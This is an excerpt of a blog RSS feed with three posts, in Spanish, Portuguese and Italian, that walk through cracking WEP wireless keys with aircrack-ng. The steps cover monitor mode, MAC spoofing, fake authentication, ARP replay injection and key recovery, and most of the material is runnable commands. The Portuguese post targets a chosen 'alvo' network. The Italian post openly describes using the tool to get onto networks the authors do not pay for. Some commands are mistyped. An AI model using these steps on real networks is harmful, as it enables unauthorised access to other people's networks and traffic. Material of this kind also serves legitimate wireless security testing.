<p style="text-align:justify;">Una vez  identificada escribimos lo siguiente:</p>
<blockquote>
<p style="text-align:justify;">airmon-ng astart wifi0 (es un cero)</p>
</blockquote>
<p style="text-align:justify;">Con el siguiente comando  veremos las redes que tenemos anuestro alrededor, cuando veas la tuya pulsa Ctrl+C y dejará de escanear.</p>
<blockquote>
<p style="text-align:justify;">airodump-ng ath1 (en mi caso, mi tarjeta es ath1)</p>
</blockquote>
<p style="text-align:justify;">Ahora, tienes que apuntar los siguientes datos: Canal y BSSID de tu red, y hacemos:</p>
<blockquote>
<p style="text-align:justify;">airodump-ng -c CANAL &#8211;bssid BSSID -w casa (nombre cualquiera)</p>
</blockquote>
<p style="text-align:justify;">
<p style="text-align:justify;"><strong>2.</strong> Nueva terminal T2. Escribimos:</p>
<blockquote>
<p style="text-align:justify;">aireplay-ng &#8211;fakeauth 0 -e NOMBRE RED -a BSSID ath1 (o tu tarjeta y en fakeauth hay 2 guiones)</p>
</blockquote>
<p style="text-align:justify;">Si no nos muestra ningún mensaje de error o advertencias, significa que podremos continuar, de lo contrario no podremos hacer nada más. Si todo ha ido bien, escribimos:</p>
<blockquote>
<p style="text-align:justify;">aireplay-ng -3 -b BSSID  ath1 -x 250</p>
</blockquote>
<p style="text-align:justify;">Ahora miramos en la T1 como en la columna DATA van aumentando los datos,  esperamos a que llegue a 40.000 para no esperar mucho en el siguiente paso.</p>
<p style="text-align:justify;">
<p style="text-align:justify;"><strong>3.</strong> Nueva terminal T3. Cuando haya llegado a los 40.000 escribimos:</p>
<blockquote>
<p style="text-align:justify;">aircrack -ng -z -b BSSID casa*.cap</p>
</blockquote>
<p style="text-align:justify;">Ahora empezará a  encontrar la combinación correcta de nuestra clave entre los datos recogidos. Si todo ha ido bien al final te mostrará tu clave WEP. Y así podrás volver a tenerla.</p>
<p style="text-align:justify;">Todo esto sirve para cualquier red con claves WEP en ASCII.</p>
<p style="text-align:justify;">Espero que a alguien le sirva, a mi me sirvió de mucho.</p>
<p style="text-align:justify;">
<p style="text-align:justify;">NOTA: yo de esto sé lo mínimo, así que si hay algún problema intentaré ayudar en lo que pueda.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Descriptar wep,wap com airodump-ng,aireplay-ng,aircrack-ng]]></title>
<link>http://juancarloscunha.wordpress.com/2009/05/12/descriptar-wepwap-com-airodump-ngaireplay-ngaircrack-ng/</link>
<pubDate>Tue, 12 May 2009 18:42:24 +0000</pubDate>
<dc:creator>juancarloscunha</dc:creator>
<guid>http://juancarloscunha.wordpress.com/2009/05/12/descriptar-wepwap-com-airodump-ngaireplay-ngaircrack-ng/</guid>
<description><![CDATA[Vejo em muitos blogs, pessoas tendo dificuldades para descriptar uma rede wirelless com chave WEP,WA]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Vejo em muitos blogs, pessoas tendo dificuldades para descriptar uma rede wirelless com chave WEP,WAP.</p>
<p>Vou dar uma receita de bolo aqui. Aqueles que são Script kiddies irão gostar, mas aqueles que querem realmente aprender: eu aconcelho a estudar, pois isso não é muito difícil, até fuçando você aprende.</p>
<p>Mas vamos ao que intereça.</p>
<p>Vou apresentar para vocês 4 programas que ajudan e auxiliam na descriptaçao da senha.</p>
<p>Airodump-ng, aireplay-ng, aircrack-ng, airmon-ng(nao usaremos, mas é bom voces pesquisarem um pouco sobre ele tambem).</p>
<p>Eu estou usando linux galera.</p>
<p>1º  &#8211;  ifconfig wlan() down      //iremos definir uma conexão para a rede</p>
<p>2º &#8211;  macchanger -m 00:11:22:33:44:55   wlan0         //definer uma MAC para a “wlan0”</p>
<p>3º  &#8211;  ifconfig wlan0 up         //agora vamos fazer a wlan0 subir(definitivamente)</p>
<p>4º  &#8211;  airodump-ng wlan0    //Irá fazer com que pegue pacotes de todas as redes ativas, daí então você escolhe a rede que você quer si conectar, pegando o nome da autenticação que na maioria das vezes ficam no lado direito da tela do console. Assim que pegar a autenticação, dê um ctrl+c ou z para parar o recebimento dos pacotes.</p>
<p>5º &#8211;  airodump-ng wlan0 -w autenticacao -c 8</p>
<p>Neste 5 passo, o seu computador irá capturar pacotes do alvo.</p>
<p>OBS: não pare o processo!</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;Essa é a segunda etapa &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Abra uma nova janela do console do linux e vamos para a segunda etapa.</p>
<p>Nesta segunda etapa iremos acelerar o recebimento de pacotes com o aireplay-ng</p>
<p>1º  &#8211;  aireplay-ng -1 0 -e nome_da_rede_alvo –a     //o nome da rede, você poderá obte-lo na primeira etapa.</p>
<p>2º  &#8211;  aireplay-ng -1 0 -e nome_da_rede_alvo -a 00:11:22:33:44:55 -h wlan0</p>
<p>3º  &#8211;  aireplay-ng -3 -b 00:11:22:33:44:55 -h wlan0      //acelerando captura de pacotes</p>
<p>Neste 3  passo, o seu computador irá acelerar a transmissão dos pacotes pacotes</p>
<p>OBS: não pare o processo!</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;Essa é a terceira etapa&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>ABRA uma outra janela do console do linux e vamos para a terceira e ultima etapa da receita.</p>
<p>Espere alguns minutos(5 min), depois de acelerar os pacotes</p>
<p>1º  &#8211;  aircrack-ng  teste.cap</p>
<p>Não esqueça de comentar</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Guida all'uso di Aircrack-NG per utenti inesperti ( Linux )]]></title>
<link>http://backtrackcommunity.wordpress.com/2009/05/12/guida-alluso-di-aircrack-ng-per-utenti-inesperti-linux/</link>
<pubDate>Tue, 12 May 2009 16:58:31 +0000</pubDate>
<dc:creator>h3yboy</dc:creator>
<guid>http://backtrackcommunity.wordpress.com/2009/05/12/guida-alluso-di-aircrack-ng-per-utenti-inesperti-linux/</guid>
<description><![CDATA[Come promesso nell&#8217;ultimo post cominciamo la pubblicazione delle traduzioni dei tutorial prese]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Come promesso nell&#8217;<a href="http://infofreeflow.noblogs.org/post/2008/02/01/wifi4all" target="_blank">ultimo post</a> cominciamo la pubblicazione delle traduzioni dei tutorial presenti sul sito di  <a href="http://aircrack-ng.org/doku.php" target="_blank">Aircrack-NG</a>.</p>
<p>Le politiche autoritarie della giunta Cofferati in merito agli spazi sociali hanno portato negli ultimi anni sul territorio di Bologna a numerosi sgomberi ed interventi repressivi, di cui il <a href="http://www.ecn.org/baz">laboratorio Crash!</a> a causa del suo protagonismo, della sua presenza costante nelle lotte sociali e della sua natura irriducibilmente antagoniste è stato più volte vittima.</p>
<p>Occupazione dopo occupazione, la nostra esperienza e la nostra capacità di autogestione collettiva è stata più volte posta di fronte a nuove sfide da affrontare, nuovi problemi da risolvere.</p>
<p>In particolare, l&#8217;instabilità a cui siamo stati costretti, ci ha portato ad affrontare il problema della mancanza della rete all&#8217;interno degli spazi che abbiamo liberato: un problema non da poco dal momento che consideriamo Internet e le tecnologie digitali come un mezzo essenziale del nostro agire politico quotidiano.</p>
<p>Per questo motivo in questi anni ci siamo approciati ad Aircrack-NG, un software libero, che ci ha permesso di avere accesso alla rete sopratutto quando ci siamo trovati nell&#8217;impossibilità di sottoscrivere un abbonamento con un qualsiasi provider. Abbiamo sempre utilizzato in modo cosciente questo strumento in modo discreto e non invasivo, riprendendoci un diritto alla comunicazione che negli anni ci è stato costantemente e sistematicamente negato ( assieme a molti altri ) sgombero dopo sgombero.</p>
<p>AirCrack-NG è sicuramente un ottimo strumento per testare la sicurezza delle reti wireless, è di facile utilizzo ed è un ottimo stimolo per apprendere qualcosa di più a proposito del funzionamento delle reti.</p>
<p>Abbiamo deciso di fare tesoro dell&#8217;esperienza accumulata e di condividerla con queste traduzioni in italiano dei tutorial che potete trovare sul sito di aircrack.</p>
<p>Speriamo possa essere utile ad altri compagni e compagne che loro malgrado si trovano o si sono trovati nella nostra situazione, come momentanea situazione di ripiego a quei singoli che si ritrovano senza connettività quando Telecom, per <a href="http://punto-informatico.it/p.aspx?i=2053668">questioni di monopolio</a>, decide di chiudere i rubinetti della connettività o per tutti quei soggetti che afflitti dalla precarietà esistenziale non possono permettersi di sottoscrivere un abbonamento internet.</p>
<p>Potete utilizzare aircrack-NG con delle semplici schede wireless USB o PCMCIA, non avete bisogno di nessun hardware particolarmente costoso.<br />
Ovviamente suggerimenti, commenti e correzioni sono sempre graditi.<br />
Usate questo strumento in modo cosciente e BUON DIVERTIMENTO!!</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p><strong><a href="http://www.aircrack-ng.org/doku.php?id=newbie_guide&#38;DokuWiki=574c9aef8cc8f22b6bf9047e20761056" target="_blank">LINK ORIGINALE </a></strong></p>
<p>Questo tutorial vi darà  le basi per iniziare ad utilizzare la suite <a href="http://aircrack-ng.org/doku.php" target="_blank">aircrack-ng</a>. E&#8217; impossibile fornire ogni singola informazione e coprire qualunque scenario. Così preparatevi a fare le vostre prove e ricerche. Il <a href="http://forum.tinyshell.be/" target="_blank">Forum</a> ed il <a href="http://aircrack-ng.org/doku.php" target="_blank">Wiki</a> hanno molte informazioni e guide aggiuntive.</p>
<p>Sebbene non copra tutti I passi dall&#8217;inizio alla fine come questo tutorial, la guida <a href="http://infofreeflow.noblogs.org/post/2008/02/06/tecnica-di-base-per-craccare-una-wep-con-aircrack-ng" target="_blank">Tecnica di base per craccare una WEP con Aircrack-ng</a> copre gli effettivi passaggi di aircrack-ng molto più dettegliatamente.</p>
<p>Negli esempi, l&#8217;opzione &#8220;trattino doppio, bssid&#8221; viene mostrata come &#8220;- -bssid&#8221;. Ricordatevi di rimuovere lo spazio tra I due trattini quando la utilizzate sul campo.<br />
Ciò vale anche per &#8220;- &#8211; ivs&#8221;, &#8220;- -arpreplay&#8221;, &#8220;- -deauth&#8221; e &#8220;- -fakeauth&#8221;.</p>
<ul>
<li><span style="font-size:medium;"><strong>PREDISPORRE L&#8217;HARDWARE, INSTALLARE AIRCRACK-NG</strong></span></li>
</ul>
<p>Il primo passo per far funzionare adeguatamente aircrack-ng sul vostro sistema Linux è patchare ed installare il driver adeguato alla vostra scheda wireless. Molte schede funzionano con driver multipli, alcuni dei quali forniscono le specifiche necessarie per utilizzare aircrack-ng, mentre altri non lo fanno.</p>
<p>Ovviamente, avrete bisogno di una scheda wireless compatibile con la suite aircrack-ng.<br />
Questo è hardware che è pienamente compatibile ed in grado di iniettare pacchetti. Una scheda wireless compatibile può essere utilizzata per craccare un access point wireless in meno di un&#8217;ora.</p>
<p>Per determinare a quale categoria la vostra scheda appartiene, consultate la <a href="http://aircrack-ng.org/doku.php?id=compatibility_drivers" target="_blank">hardware compatibility page</a>. Leggetevi il tutorial<a href="http://aircrack-ng.org/doku.php?id=compatible_cards" target="_blank"> &#8220;Is My Wireless Card Compatible?&#8221;</a> se non sapete dove cercare in questa tabella. Non fa mai male in ogni caso leggersi questo tutorial per ampliare le vostre conoscenze e determinare gli attributi della vostra scheda.</p>
<p>Per prima cosa, dovete sapere quale chipset sia utilizzato nella vostra scheda wireless e di quale driver abbia bisogno. La  <a href="http://aircrack-ng.org/doku.php?id=compatibility_drivers#drivers" target="_blank">drivers section</a> vi dirà  di quali driver abbiate bisogno per il vostro specifico chipset. Scaricateli, e poi procuratevi la patch corrispondente da <a href="http://patches.aircrack-ng.org/" target="_blank">http://patches.aircrack-ng.org</a>. (Queste patch abilitano il supporto per l&#8217;iniezione dei pacchetti).</p>
<p>Avendo un dispositivo Ralink USB, spiego i passaggi per farlo funzionare con Aircrack-ng. Prima che possiate compilare ed installare i drivers, dovete avere installate le sorgenti del kernel della vostra distribuzione.</p>
<p>Se vi occorre un altro tipo di scheda, controllate la <a href="http://aircrack-ng.org/doku.php?id=install_drivers" target="_blank">installing drivers page</a> per istruzioni sugli altri driver. Fate anche ricerca in rete, se non siete sicuri riguardo a come installarli.</p>
<p><span style="text-decoration:underline;">RaLink USB rt2570 &#8211; GUIDA AL SETUP</span></p>
<p>Se avete un dispositivo USB rt2570 (come il D-Link DWL-g122 rev.B1 o il Linksys WUSB54G v4) dovreste utilizzare I driver di <a href="http://homepages.tu-darmstadt.de/%7Ep_larbig/wlan" target="_blank">http://homepages.tu-darmstadt.de/~p_larbig/wlan</a><br />
Sono speciali driver modificati, che supportano l&#8217;iniezione dei pacchetti e sono risultati lavorare al meglio con Aircrack-ng. Non hanno bisogno di essere patchati. Ovviamente questi driver vanno bene anche per le operazioni normali.</p>
<p>Scompattiamo, compiliamo ed installiamo I driver:</p>
<p>________________________________<br />
tar xfj rt2570-k2wrlz-1.3.0.tar.bz2<br />
cd rt2570-k2wrlz-1.3.0/Module<br />
make<br />
make install<br />
_______________________________</p>
<p>L&#8217;ultimo passaggio deve essere eseguito come root. Usate &#8220;su&#8221; per diventare root. Ora possiamo caricare il modulo nel kernel<br />
___________________________<br />
modprobe rt2570<br />
___________________________</p>
<p>Inserite la vostra scheda, ora dovrebbe essere riconosciuta come rausb0. Eseguite &#8220;iwconfig&#8221; per elencare I vostri dispositivi wireless e controllate che tutto funzioni.</p>
<p><span style="text-decoration:underline;">INSTALLAZIONE DI AIRCRACK-NG</span></p>
<p>Sorgente</p>
<p>Procuratevi l&#8217;ultima versione di aircrack-ng dalla homepage: <a href="http://www.aircrack-ng.org/" target="_blank">http://www.aircrack-ng.org</a><br />
I comandi seguenti vanno cambiati se utilizzate una versione più recente del programma.</p>
<p>Scompattare, compilare, installare:</p>
<p>_________________________________<br />
tar xfz aircrack-ng-0.9.1.tar.gz<br />
cd aircrack-ng-0.9.1<br />
make<br />
make install<br />
_________________________________</p>
<p>Come al solito, l&#8217;ultimo passaggio deve essere eseguito come root. Utilizzate &#8220;su&#8221; per loggarvi come root (utilizzate &#8220;sudo make install&#8221; su Ubuntu).</p>
<p>YUM</p>
<p>Se state usando un sistema come RedHat Linnux o Fedora potete installare aircrack-ng con Yum. Per prima cosa, dovete aggiungere la repository di <a href="http://dag.wieers.com/home-made/apt/" target="_blank">Dag Wieers</a> o <a href="http://dries.studentenweb.org/rpm/" target="_blank">Dries</a>.</p>
<p>_________________________<br />
su<br />
yum -y install aircrack-ng<br />
_________________________</p>
<p>RPM</p>
<p>Se state utilizzando un sistema che è basato sugli RPM potete facilitare l&#8217;installazione di aircrack-ng (esempio con RedHat Linux 4).</p>
<p>____________________<br />
su<br />
rpm -ihv http://dag.wieers.com/rpm/packages/aircrack-ng/aircrack-ng-0.7-1.el4.rf.i386.rpm<br />
____________________</p>
<p>IMPORTANTE: Controllate  <a href="http://dag.wieers.com/rpm/packages/aircrack-ng/" target="_blank">http://dag.wieers.com/rpm/packages/aircrack-ng/</a><br />
per l&#8217;ultima versione della suite aircrack-ng e cambiate il comando qui sopra per puntare all&#8217;ultima versione.</p>
<ul>
<li><span style="font-size:medium;"><strong>BASI DI IEEE 802.11</strong></span></li>
</ul>
<p>Ok, ora è tutto pronto ed è tempo di una sosta per imparare qualcosa sul funzionamento delle reti wireless prima di passare finalmente all&#8217;azione.</p>
<p>Il capitolo seguente è molto importante nel caso in cui qualcosa non funzionasse come previsto. Sapere di cosa tratta vi aiuta a trovare il problema o almeno a descriverlo a qualcun&#8217;altro in grado di aiutarvi. E&#8217; un pochino scientifico e forse potreste voler saltarlo. Tuttavia alcune nozioni sono necessarie per craccare le reti wireless, e la cosa va oltre la semplice immissione di un comando per far svolgere ad aircrack il resto del lavoro.</p>
<p><span style="text-decoration:underline;"><span style="font-size:small;">COME VIENE RILEVATA UNA RETE WIRELESS</p>
<p></span></span><span style="font-size:small;"><br />
</span>Questa è una piccola introduzione alle reti che funzionano tramite Access Point (AP). Ogni AP diffonde circa 10 cosiddetti &#8220;beacon-frames&#8221; al secondo. Questi pacchetti contengono le seguenti informazioni:</p>
<p>- Nome della rete (ESSID)<br />
- Se sia utilizzata una cifratura (e di quale tipo; fate attenzione, non è sempre vero solo perché lo dice l&#8217;AP)<br />
- Quali rates di dati in Mbit siano supportati<br />
- Su quale canale si trova la rete</p>
<p>Queste informazioni vengono quindi visualizzate sulla vostra interfaccia di connessione a questa rete. Viene mostrato quando fate rilevare reti alla vostra scheda con<br />
&#8220;iwlist &#60;interfaccia&#62; scan&#8221; e quando eseguite <a href="http://aircrack-ng.org/doku.php?id=airodump-ng" target="_blank">airodump-ng</a>.</p>
<p>Ogni AP ha un unico indirizzo MAC (48 bit, 6 paia di numeri esadecimali). Tipo: 00:01:23:4A:BC:DE. Ogni dispositivo hardware di rete ha un indirizzo di questo tipo, ed I dispositivi di rete comunicano l&#8217;un l&#8217;altro utilizzando questo indirizzo MAC. Così, di base, é come un nominativo unico. Gli indirizzi MAC sono unici, non esistono due dispositivi di rete al mondo con un identico indirizzo MAC.</p>
<p><span style="font-size:small;"><span style="text-decoration:underline;">CONNETTERSI AD UNA RETE</span></span></p>
<p>Se volete connettervi ad una rete wireless, ci sono diverse possibilità . Nella maggior parte dei casi, si utilizza l&#8217;Open System Authentication (Opzionale: se volete saperne di più sull&#8217;autenticazione, vedete <a href="http://documentation.netgear.com/reference/fra/wireless/WirelessNetworkingBasics-3-06.html" target="_blank">qui</a>).</p>
<p>Open System Authentication</p>
<p>1. Richiedete l&#8217;autenticazione all&#8217;AP.<br />
2. L&#8217;AP risponde: OK, siete autenticati.<br />
3. Richiedete all&#8217;AP l&#8217;associazione.<br />
4. L&#8217;AP risponde: OK, siete ora connessi.</p>
<p>Questo é il caso più semplice, MA potrebbero esserci alcuni problemi se non siete legittimati a connettervi:</p>
<p>- WPA/WPA2 sono in esecuzione, avete bisogno di autenticazione EAPOL. L&#8217;AP vi bloccherà  al passo 2.<br />
- L&#8217;Access Point ha una lista di client consentiti (indirizzi MAC), e non permette a nessun altro di connettersi. Ciò prende il nome di filtraggio MAC.<br />
- L&#8217;Access Point utilizza l&#8217;Autenticazione a Chiave Condivisa, vi occorre fornire la corretta chiave WEP per essere in grado di connettervi (consultate il tutorial <a href="http://aircrack-ng.org/doku.php?id=shared_key" target="_blank">How to do shared key fake authentication?</a> per tecniche avanzate).</p>
<ul>
<li><span style="font-size:medium;"><strong>SNIFFING E CRACCAGGIO SEMPLICI</strong></span></li>
</ul>
<p><span style="font-size:small;"><span style="text-decoration:underline;">Individuare le reti</span></span></p>
<p>La prima cosa da fare é individuare un potenziale bersaglio. La suite aircrack-ng contiene <a href="http://aircrack-ng.org/doku.php?id=airodump-ng" target="_blank">airodump-ng</a> a tal fine &#8211; ma possono essere utilizzati anche altri programmi come <a href="http://www.kismetwireless.net/" target="_blank">Kismet</a>.</p>
<p>Prima di iniziare a cercare reti, vi occorre mettere la vostra scheda di rete wireless in quello che viene chiamato &#8220;monitor mode&#8221;. Il Monitor Mode é una speciale modalità  che consente al vostro PC di rilevare ogni pacchetto wireless presente nei paraggi. Questo Monitor Mode vi consente inoltre opzionalmente di iniettare pacchetti in una rete. L&#8217;iniezione sarà  discussa più avanti in questo tutorial.</p>
<p>Per mettere la vostra scheda di rete wireless in Monitor Mode:</p>
<p>airmon-ng start rausb0</p>
<p>Per avere conferma che la vostra scheda wireless sia in Monitor Mode, eseguite &#8220;iwconfig&#8221;. La pagina di <a href="http://aircrack-ng.org/doku.php?id=airmon-ng" target="_blank">airmon-ng</a> sul Wiki ha informazioni generiche su come avviarla per altri driver.</p>
<p>Quindi, avviate airodump-ng per ricercare le reti:</p>
<p>airodump-ng rausb0</p>
<p>&#8220;rausb0&#8243; é il nome dell&#8217;interfaccia di rete (nic). Se state utilizzando un dispositivo di rete wireless diverso da un rt2570, dovrete utilizzare un diverso nome nic. Consultate la documentazione del driver nic.</p>
<p>Se airodump-ng può connettersi al dispositivo di rete wireless, vi apparirà  una schermata come questa:</p>
<p><img src="http://www.aircrack-ng.org/img/newbie_airodump.png" alt="" width="587" height="260" align="left" /></p>
<p><a href="http://www.aircrack-ng.org/doku.php?id=airodump-ng&#38;DokuWiki=574c9aef8cc8f22b6bf9047e20761056"> airodump-ng</a> salta da canale a canale e mostra tutti gli access point da cui può ricevere beacon. I canali da 1 a 14 sono utilizzati per l&#8217;802.11b e g (negli USA, é permesso loro di usare soltanto quelli da 1 ad 11; da 1 a 13 in Europa salvo alcuni casi speciali; da 1 a 14 in Giappone). I canali da 36 a 149 vengono utilizzati per l&#8217;802.11a. Il canale corrente viene mostrato nell&#8217;angolo in alto a sinistra.</p>
<p>Dopo un breve intervallo di tempo appariranno alcuni AP e (si spera) alcuni client associati.</p>
<p>Il blocco superiore dei dati mostra gli access point individuati:</p>
<p>BSSID &#8211; L&#8217;indirizzo MAC dell&#8217;Ap<br />
PWR &#8211; La forza del segnale. Alcuni driver non la riportano<br />
Beacons &#8211; Numero di beacon frames ricevuto. Se non avete la forza del segnale, potete stimarla dal numero di beacon: più sono I beacon, migliore é la qualità  del segnale.<br />
Data &#8211; Numero di frammenti di dati ricevuti<br />
CH &#8211; Canale su cui opera l&#8217;AP<br />
MB &#8211; Velocità  (o modalità  AP). 11 é proprio dell&#8217;802.11b, 54 dell&#8217;802.11g. I valori intermedi rappresentano un misto.<br />
ENC &#8211; Cifratura: OPN: nessuna cifratura, WEP: cifratura WEP, WPA: cifratura WPA o WPA2, WEP?: WEP o WPA (non si sa ancora)<br />
ESSID &#8211; Il nome della rete. A volte é nascosto.</p>
<p>Il blocco dati inferiore mostra I client rilevati:</p>
<p>BSSID &#8211; Il MAC dell&#8217;AP a cui é associato il client<br />
STATION &#8211; Il MAC del client stesso<br />
PWR &#8211; La forza del segnale. Alcuni driver non la riportano<br />
Packets &#8211; Numero di frammenti di dati ricevuti<br />
Probes &#8211; Nomi di rete (ESSID) che questo client ha rilevato</p>
<p>Ora dovreste cercare una rete bersaglio. Dovrebbe avere connesso un client, poiché craccare le reti senza un client é un topic avanzato (Consultare <a href="http://infofreeflow.noblogs.org/post/2008/02/09/come-craccare-una-rete-wireless-wep-senza-client-con-aircrack-ng" target="_blank">Come craccare una rete wireless WEP senza client con Aircrack-ng</a>). Dovrebbe utilizzare la cifratura WEP ed avere un&#8217;alta forza del segnale. Forse potreste riposizionare la vostra antenna per ottenere un segnale migliore. Spesso pochi centimetri fanno una grande differenza riguardo alla forza del segnale.</p>
<p>Nell&#8217;esempio sopra, la rete 00:01:02:03:04:05 rappresenterebbe l&#8217;unico bersaglio possibile, poiché é l&#8217;unica ad avere un client associato. Ma possiede anche un&#8217;alta forza del segnale, così é davvero un buon bersaglio per fare pratica.</p>
<p><span style="font-size:small;"><span style="text-decoration:underline;">Sniffing degli IV</span></span></p>
<p>A causa del salto di canale, non catturerete tutti I pacchetti dalla vostra rete bersaglio. Configureremo Aircrack_NG in modo che tracci l&#8217;attività di rete di un solo canale e scriveremo inoltre su disco tutti I dati per essere in grado di utilizzarli per il craccaggio:<br />
_________________________________________________________<br />
airodump-ng -c 11 &#8211; -bssid 00:01:02:03:04:05 -w dump rausb0<br />
_________________________________________________________</p>
<p>Con il parametro -c vi sintonizzate su un canale, ed il parametro dopo -w é il prefisso dei pacchetti di rete scritti su disco. L&#8217;opzione &#8220;- -bssid&#8221; combinata con l&#8217;indirizzo MAC dell&#8217;AP limita la cattura ad un unico AP. L&#8217;opzione &#8220;- -bssid&#8221; é disponibile solamente sulle nuove versioni di airodump-ng.</p>
<p>Potete aggiungere inoltre il parametro &#8220;- -ivs&#8221;. Questo dice ad <a href="http://aircrack-ng.org/doku.php?id=airodump-ng" target="_blank">airodump-ng</a> di catturare solo gli IV per risparmiare spazio.</p>
<p>Prima di poter craccare il WEP, di solito avrete bisogno di 250.000-500.000 Vettori d&#8217;Inizializzazione (IV) diversi. Ogni pacchetto di dati contiene un IV. Gli IV possono essere riutilizzati, così il numero di IV diversi é solitamente inferiore al numero di pacchetti di dati catturati.</p>
<p>Perciò avrete bisogno di aspettare di catturare da 250 a 500 mila pacchetti dati (IV). Se la rete non é occupata ciò richiederà parecchio tempo. Spesso potrete velocizzare di molto il processo utilizzando un attacco attivo (=replica di pacchetti). Consultate il capitolo successivo.</p>
<p><span style="font-size:small;"><span style="text-decoration:underline;">CRACCARE</span></span></p>
<p>Se avete abbastanza IV catturati in uno o più file, potete provare a craccare la chiave WEP:</p>
<p>___________________________________________<br />
aircrack-ng -b 00:01:02:03:04:05 dump-01.cap<br />
___________________________________________</p>
<p>Il MAC dopo l&#8217;opzione -b é il BSSID dell&#8217;obiettivo e &#8220;dump-01.cap&#8221; il file che contiene i pacchetti catturati. Potete utilizzare più file, basta aggiungere tutti i loro nomi o utilizzare un carattere jolly come &#8220;dump*.cap&#8221;.</p>
<p>Per informazioni aggiuntive sui parametri di <a href="http://aircrack-ng.org/doku.php?id=aircrack-ng" target="_blank">aircrack-ng</a>, descrizione dell&#8217;output ed utilizzi, consultate il <a href="http://aircrack-ng.org/doku.php?id=aircrack-ng" target="_blank">manuale</a>.</p>
<p>Il numero di IV di cui avete bisogno per craccare una rete non é prefissato. Questo perché alcuni IV sono più deboli e dischiudono più informazioni sulla chiave rispetto agli altri. Solitamente questi deboli IV sono mischiati casualmente tra quelli più forti. Così, se siete fortunati, potete craccare una chiave con soli 100.000 IV. Ma spesso ciò non é abbastanza, ed aircrack-ng dovrà  essere eseguito per molto tempo (fino ad una settimana od anche oltre con un alto fattore di fudge) e potrebbe inoltre dirvi che la chiave non possa essere craccata. Se avete più IV il craccaggio può essere svolto molto più velocemente, di solito in pochi minuti. L&#8217;esperienza indica che 250.000-500.000 IV sono di solito sufficienti per il craccaggio.</p>
<p>Ci sono alcuni sofisticati AP che utilizzano un algoritmo per escludere IV deboli. Il risultato é che non potrete ottenere più di &#8220;n&#8221; IV differenti dall&#8217;AP o che vi occorreranno milioni (tipo da 5 a 7) per craccare la chiave. Cercate nel <a href="http://forum.tinyshell.be/" target="_blank">Forum</a>, ci sono alcuni thread su casi come questi e su come comportarsi.</p>
<ul>
<li><span style="font-size:medium;"><strong>ATTACCHI ATTIVI</strong></span></li>
</ul>
<p><span style="font-size:small;"><span style="text-decoration:underline;">Supporto all&#8217;iniezione</span></span></p>
<p>Molti dispositivi non supportano l&#8217;iniezione &#8211; almeno non senza driver patchati. Consultate la <a href="http://aircrack-ng.org/doku.php?id=compatibility_drivers" target="_blank">compatibility pag</a>e, colonna aireplay. A volte questa tabella non è aggiornata, così se vedete un &#8220;NO&#8221; per il vostro driver non arrendetevi subito, ma consultate la homepage del driver, la mailing list del driver od il nostro <a href="http://forum.tinyshell.be/" target="_blank">Forum</a>. Se riuscite a riprodurre un&#8217;iniezione con successo utilizzando un driver che non é elencato come supportato, non esitate ad aggiornare la tabella della <a href="http://aircrack-ng.org/doku.php?id=compatibility_drivers" target="_blank">compatibility page</a> e ad aggiungere un link ad una breve guida.</p>
<p>Il primo passo consiste nell&#8217;assicurarsi che l&#8217;iniezione di pacchetti funzioni veramente con la vostra scheda ed I driver. Il modo piùfacile per testarlo é l&#8217;attacco di <a href="http://aircrack-ng.org/doku.php?id=injection_test" target="_blank">injection test</a>. Assicuratevi di eseguire questo test prima di proseguire. La vostra scheda deve essere in grado di iniettare con successo prima di eseguire I passaggi successivi.</p>
<p>Vi occorre il BSSID (MAC dell&#8217;AP) e l&#8217;ESSID (nome della rete) di un AP che non opera il filtraggio dei MAC (es.il vostro) e dovete essere nel raggio dell&#8217;AP.</p>
<p>La prima cosa da fare é trovare il MAC del vostro stesso dispositivo di rete wireless. A volte c&#8217;é un&#8217;etichetta con il MAC sul dispositivo. Ma potete sempre trovarlo utilizzando il comando &#8220;ifconfig&#8221; (i 6 byte esadecimali dopo &#8220;HWaddr&#8221;, di norma divisi da &#8220;:&#8221; oppure&#8221;-&#8221;).</p>
<p>Quindi potete provare a connettervi al vostro AP utilizzando <a href="http://aircrack-ng.org/doku.php?id=aireplay-ng" target="_blank">aireplay-ng</a>:<br />
_________________________________________________________________<br />
aireplay-ng &#8211; -fakeauth 0 -e &#8220;il vostro ESSID di rete&#8221; -a 00:01:02:03:04:05 -h 00:11:22:33:44:55 rausb0<br />
_________________________</p>
<p>Il valore dopo -a é il BSSID del vostro AP, il valore dopo -h é il MAC del vostro stesso dispositivo di rete wireless.</p>
<p>Se l&#8217;iniezione funziona dovreste vedere qualcosa come questo:<br />
__________________________________________<br />
12:14:06  Sending Authentication Request<br />
12:14:06  Authentication successful<br />
12:14:06  Sending Association Request<br />
12:14:07  Association successful <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
__________________________________________</p>
<p>Altrimenti</p>
<p>1. ricontrollate l&#8217;ESSID, il BSSID ed il vostro stesso MAC<br />
2. assicuratevi che il vostro AP abbia il filtraggio MAC disabilitato<br />
3. testatelo contro un altro AP<br />
4. assicuratevi che il vostro driver sia patchato e supportato<br />
5. invece di &#8220;0&#8243;, provate &#8220;6000 -0 1 -q 10&#8243;</p>
